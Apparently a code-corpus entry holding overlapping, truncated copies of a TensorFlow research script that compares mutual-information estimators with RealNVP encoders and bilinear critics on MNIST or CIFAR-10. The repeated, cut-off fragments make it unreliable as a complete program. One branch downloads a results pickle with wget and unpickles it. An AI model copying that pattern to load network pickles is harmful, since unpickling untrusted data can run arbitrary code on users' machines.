self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\ndef run_all_experiments():\n tf.compat.v1.reset_default_graph()\n wpc_loss = lambda x: -infonce_lower_bound(x)\n cpc_loss = lambda x: -infonce_lower_bound(x)\n drfc_loss = lambda x: -our_lower_bound(x)\n pcc_loss = lambda x: -js_fgan_lower_bound(x)\n skew_pcc_loss = lambda x: -skew_js_fgan_lower_bound(x)\n ls_pcc_loss = lambda x: -label_smooth_pcc(x)\n pre_ls_pcc_loss = lambda x: -predict_smooth_pcc(x)\n adap_pred_smooth_pcc_loss = lambda x: -adap_pred_smooth_pcc(x)\n adap_label_smooth_pcc_loss = lambda x: -adap_label_smooth_pcc(x)\n loss_fcts = {'pcc': pcc_loss, 'cpc': cpc_loss, 'ls_pcc': ls_pcc_loss,\n 'prels_pcc': pre_ls_pcc_loss, 'adap_pred_pcc':\n adap_pred_smooth_pcc_loss, 'adap_label_pcc': adap_label_smooth_pcc_loss\n }\n kwargs = dict(shift_only=True, activation=lambda x: tf.nn.relu(x),\n kernel_initializer=tf.compat.v1.initializers.truncated_normal(\n stddev=0.0001), bias_initializer='zeros')\n nets = {'realnvp': lambda : (RealNVPBijector(DIMS // 2, n_couplings=30,\n hidden_layers=[512, 512], dense_kwargs=kwargs), RealNVPBijector(\n DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=\n kwargs))}\n critics = {'bilinear': lambda : BilinearCritic(feature_dim=DIMS // 2)}\n return run_sweep(nets, critics, loss_fcts, 'invertible', n_iters=21000,\n n_evals=21)\n\n\nif RUN_EXPERIMENTS:\n data_invertible = run_all_experiments()['df']\n data_invertible.to_pickle(RESULT_DIR)\nelse:\n os.system(\n 'wget -q -N https://storage.googleapis.com/mi_for_rl_files/mi_results.pkl'\n )\n data_invertible = pd.read_pickle('mi_results.pkl')\n data_invertible = data_invertible[data_invertible.exp_name == 'invertible']\n", "<import token>\nparser = argparse.ArgumentParser(description=\n 'Representation Learning Experiments')\nparser.add_argument('--dataset', default='mnist', type=str, help=\n 'cifar10 or mnist')\nparser.add_argument('--lr', default=0.0001, type=float, help='learning rate')\nparser.add_argument('--batch_size', default=100, type=int, help=\n 'mini batch size')\nparser.add_argument('--smoothing', default=0.01, type=float, help=\n 'label smoothing parameter')\nparser.add_argument('--output_dir', type=str, default='./runs', help=\n 'directory where the results will be stored')\nargs = parser.parse_args()\na, b, c = 0.005, 0.1, 0.9\nif not os.path.isdir(args.output_dir):\n os.mkdir(args.output_dir)\nTFDS_NAME = args.dataset\nNRUNS = 10\nif TFDS_NAME == 'mnist':\n DIMS = 784\nelif TFDS_NAME == 'cifar10':\n DIMS = 3072\nLEARNING_RATE = args.lr\nN_CLASSES = 10\nTRAIN_BATCH_SIZE = args.batch_size\nRESULT_DIR = './runs/{}_nrun={}_lr={}_batch={}.pkl'.format(TFDS_NAME, NRUNS,\n LEARNING_RATE, TRAIN_BATCH_SIZE)\nRUN_EXPERIMENTS = True\nFEATURE_INPUT = 'image'\nFEATURE_LABEL = 'label'\ntfb = tfp.bijectors\ntfd = tfp.distributions\ntfkl = tf.keras.layers\ntf.keras.backend.clear_session()\nResultsConfig = collections.namedtuple('ResultsConfig', ['nets', 'critic',\n 'loss'])\nResults = collections.namedtuple('Results', ['iterations',\n 'training_losses', 'testing_losses', 'classification_accuracies',\n 'singular_values'])\nResultsAdversarial = collections.namedtuple('ResultsAdversarial', [\n 'losses_e', 'losses_c', 'classification_accuracies', 'iters'])\nResultsSamplingIssues = collections.namedtuple('ResultsSamplingIssues', [\n 'mi_true', 'nce_estimates_noniid', 'nce_estimates_iid',\n 'nwj_estimates_noniid', 'nwj_estimates_iid'])\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(session.run(codes, feed_dict={data_ph: x_array[i:i +\n batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\ndef nwj_lower_bound(scores):\n return tuba_lower_bound(scores - 1.0)\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef predict_smooth_pcc(f):\n \"\"\" pcc with predictor smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n pre_prob = (1.0 - args.smoothing) * pre_prob + args.smoothing / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\[email protected]\ndef adap_pred_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n pre_prob = (1.0 - alpha) * pre_prob + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\ntf.compat.v1.reset_default_graph()\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\ndef load_data(split):\n return tfds.load(TFDS_NAME, data_dir='/public/wangxu/data/', split=split\n ).cache().map(map_func=map_fn).shuffle(1000)\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\ndataset_train = load_data('train')\ndataset_test = load_data('test')\nx_train, y_train = tfds_to_np(dataset_train)\nx_test, y_test = tfds_to_np(dataset_test)\ntf.compat.v1.reset_default_graph()\nx_train_noisy = x_train + 0.05 * np.random.randn(*x_train.shape)\nx_test_noisy = x_test + 0.05 * np.random.randn(*x_test.shape)\nprint('Fit on half the pixels: {}. It should be around 0.835.'.format(\n logistic_fit(x_train_noisy[:, :DIMS // 2], y_train, x_test_noisy[:, :\n DIMS // 2], y_test)))\n\n\ndef processed_train_data(dims, batch_size):\n dataset = load_data('train')\n dataset_batched = dataset.repeat().batch(batch_size, drop_remainder=True)\n get_next = tf.compat.v1.data.make_one_shot_iterator(dataset_batched\n ).get_next()\n features = get_next[FEATURE_INPUT]\n labels = get_next[FEATURE_LABEL]\n x_1, x_2 = tf.split(features, [dims, DIMS - dims], axis=-1)\n return x_1, x_2, labels\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n 